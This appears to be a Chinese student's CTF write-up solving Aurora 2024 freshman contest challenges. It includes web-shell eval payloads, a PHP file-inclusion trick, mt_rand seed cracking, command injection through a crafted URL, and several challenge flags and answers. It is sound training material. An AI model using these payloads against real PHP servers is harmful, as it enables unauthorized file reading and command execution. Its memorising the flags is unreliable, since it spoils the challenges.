靶场成绩

战果

复现

Web

一剑连接 | 已完成(即自主完成)

题目

看学长给的web题解里面,用蚁剑相当方便,但是我没有这个工具,于是我是用burpsuite完成该题

本题点入题目链接可以看到题目的初步要求:
题目要求

于是我就选择使用burpsuite来进行传参,首先先对题目的网址进行抓取,并将截取的request放到repeater进行修改

![初次抓包](/img/Aurora2024新生赛/图片4.png#pic_center =70x50)

按题目要求修改get和post同时传参,混合传参注意格式
格式将GET换POST,get传参的变量放后面

1
POST /?god1=izayoishiki 

紧接post的格式

1
Content-Type:application/x-www-form-urlencoded
1
god2=cauliweak9

注意检查post传参赋值后面有没有换行,如有换行,应删除因为换行也被考虑在赋值里面

图片如下:
题目
得到location:

1
Location:bAckd0o0o0or.php 

然后我们对该地址进行访问,可以得到我们要post传参ant这一参数:

1
eval ($_POST['ant']); 

由题目我们可以知道,flag在/tmp中,我猜测/tmp是一个目录,我得确定里面的文件名方便我读取于是

1
ant=print_r(scandir(‘/tmp')); 

也就是请求展示这一目录里的文件

得到:

1
2
3
4
5
6
eval($ POST['ant’]);Array
(
[0] => .
[1] => ..
[2] => f13g_1s h3re
)

但是这个关于flag的线索不太像文件,于是我继续读取,得到一个仍然不太像文件的数字
题目

结合题目意思,我感觉是一个一直嵌套下去的目录,可以直到读取文件,于是我读取再读取,直到文件出来
题目

1
flaggggg.txt 

得到文件后,读取该文件内容,就能得到flag
这时,我们post传参的命令也要有所变化

1
2
ant=echo
file_get contents(' ');

flag如下:
题目

Just Signin | 已完成(即自主完成)

题目

这道web的签到题上来我就只想到了伪协议,但是没有回显,卡了好久,甚至看hint还看漏点了,悲,好在还是有惊无险做出来了

点进题目链接可以发现网页源代码已经显示,是简单的文件包含get传参

1
2
3
4
5
6
7
<?php
highlight_file(_FILE_);
error reporting(0);
//flag is in flag.php
$u = $_GET['_err0r233.yyds'];
include $u;
?>

没看到有什么黑名单过滤,于是我就用常规的伪协议完成文件包含,但是没有任何回显
题目

看到hint里的字符串特性,才明白,字符串参数里的符号需要进行略微修改

题目

根据提示改正传参,得到返回的base64编码
题目

解码得到flag
题目

天才麻将ctfer | 已完成(即自主完成)

题目

点进题目链接,看到题目
题目

先用burpsuite对该网页进行抓取,然后在该网页html代码里发现两个重要的传参

1
?action=getdata
1
/src.html 

题目

于是试试对该网页进行传参,传参getdata后得到提示,随机序列,很像伪随机数的题目
题目

然后进行第二个传参,然后发现该网页的php代码
题目

题目

由其中mt_srand($seed),可确定是一道种子伪随机数的题目

于是我想到用php_mt_seed进行爆破,那首先的将我们得到的随机序列变成工具读取的形式,编写php脚本

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$string='ZqYRt5oTIl';
$len1=6;
for ( $i = 0; $i < $len1; $i++ ){
$pos=strpos($str_long1,$string[$i]);
echo $pos." ".$pos." 0 61 " ;
}
?>

(string后面是我们得到的随机序列,而我们要得三张手牌,大写字母加数字,总共六长度,于是len1=6)

我选择放到phpstudy上运行
题目
题目

然后在linux虚拟机上使用php_mt_seed,将这一串数字代入
题目

发现了一个种子seed=302663906
将其带入网页源代码中的php代码便可得到手牌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
    highlight_file(__FILE__);
    //index.php
   
    $seed = "<hidden>";
    $maj = ['1m', '2m', '3m', '4m', '5m', '6m', '7m', '8m', '9m', '1p', '2p', '3p', '4p', '5p', '6p', '7p', '8p', '9p', '1s', '2s', '3s', '4s', '5s', '6s', '7s', '8s', '9s'];
    #count($maj) = 27;
    mt_srand(302663906);
    $str='';
    for($i=0;$i<5;$i++){
        $str .= $maj[mt_rand() % 27];
    }
    $res = '';
    for($i=0;$i<3;$i++){
        $res .= $maj[mt_rand() % 27];
    }
    echo $res;
    if(isset($_POST['guess'])){
        if($_POST['guess']===$res){
            $flag = file_get_contents('/flag');
            $ret = "猜对了! 给你flag: $flag";
        }
        else{
            $ret = "猜错了!";
        }
    }
    if(isset($_GET['action'])){
        if($_GET['action']==='getdata'){
            $ret = get_random_str($seed);
        }
       
    }
?>

在mt——srand后面()中填入得到的种子,而res正是我们的手牌,于是我在中间插入了echo$res,在phpstudy上运行得

题目

将手牌填入原网页,得flag
题目

天才麻将ctfer-全国大赛篇 | 已完成(即自主完成)

题目

这一道题和天才麻将ctfer题目的思路一样,在将随机序列化为格式的脚本中,将len的数值改为5*2=10即可

URL_Parser| 已复现(即看Writeup学习后完成的)

题目

做这道题只差临门一脚,最后的判断没有头绪,悲
点开题目链接后,发现网页源代码
题目

根据代码,写了一道完整的url,其中3fde6bb0541387e4ebdadf7c2ff31123
MD5解码后得到1q2w3e

传参:

1
url=getflag://Err0r233:1q2w3e@whoami 

@后面是命令,我选择whoami来做

这里我看出来了不能直接用‘/’,但是运用cd命令时后面重复的是..cd;..cd,导致出错

正确的应该是:

1
@cd ..;cd ..;cd ..;cd ..;cat f* 

完善url,随即得到flag:
题目

Pwn

nc | 已完成(即自主完成)

题目

nc某个网址,我选择在linux模拟机上完成nc direct.szu.moe 10077命令,接着用ls和cat命令得到flag

Crypto

SIGIN IN!!! | 已完成(即自主完成)

题目
下载文件得到:

1
Nheben{Jrypbzr_gb_gur_Jbeyq_bs_Pelcgbtencul} 

类似flag形式的字母,但是进行了字母加密,初步分析应该是凯撒密码,所以用位移解密,得到flag:

1
Aurora{Welcome_to_the_World_of_Cryptography} 

Misc

炸鱼薯条问答-五成熟 | 已完成(即自主完成)

题目

点进题目链接,发现问卷
题目

由hint可知答案格式应为正则表达式,而且有例子,更能方便做题,这六道题的答案分别为

题目

答对百分之五十即可得flag

炸鱼薯条问答-全熟 | 已完成(即自主完成)

题目

在五成熟的题目答对百分之百,即可得flag